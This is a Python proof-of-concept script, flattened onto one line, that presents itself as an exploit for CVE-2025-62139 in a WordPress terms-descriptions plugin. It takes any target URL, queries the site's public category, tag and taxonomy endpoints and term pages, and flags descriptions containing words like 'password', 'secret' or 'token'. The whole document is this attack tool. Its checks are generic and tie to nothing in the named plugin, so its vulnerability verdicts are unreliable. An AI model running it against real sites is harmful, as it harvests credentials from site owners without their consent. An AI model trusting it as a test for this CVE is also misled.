CVE-2025-62139

# CVE-2025-62139 PoC - Sensitive Information Disclosure in terms-descriptions plugin # Affected Version: <= 3.4.10 import requests import sys def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-62139 """ print(f"[*] Checking vulnerability for CVE-2025-62139 on {target_url}") # WordPress REST API endpoint for terms endpoints = [ "/wp-json/wp/v2/categories", "/wp-json/wp/v2/tags", "/wp-json/wp/v2/taxonomies" ] vulnerable = False for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Testing endpoint: {url}") try: response = requests.get(url, timeout=10) if response.status_code == 200: data = response.json() # Check for sensitive information in term descriptions for item in data if isinstance(data, list) else [data]: if isinstance(item, dict): # Look for description fields that might contain sensitive data if 'description' in item: desc = item['description'] if desc and len(desc) > 0: # Check for patterns indicating embedded sensitive data sensitive_patterns = ['key', 'secret', 'password', 'token', 'api_key', 'credential'] for pattern in sensitive_patterns: if pattern.lower() in str(desc).lower(): print(f"[!] Potential sensitive data found: {desc[:100]}") vulnerable = True except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") # Alternative: Direct term page enumeration term_pages = [ "/?taxonomy=category&tag_ID=1", "/?taxonomy=post_tag&tag_ID=1" ] for page in term_pages: url = target_url.rstrip('/') + page try: response = requests.get(url, timeout=10) if response.status_code == 200: # Check page source for embedded sensitive information if 'term-description' in response.text or 'term_description' in response.text: print(f"[*] Term description field found on {url}") except requests.RequestException: pass if vulnerable: print("[+] Target appears to be VULNERABLE to CVE-2025-62139") return True else: print("[-] No obvious vulnerability indicators found") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-62139-poc.py <target_url>") print("Example: python cve-2025-62139-poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

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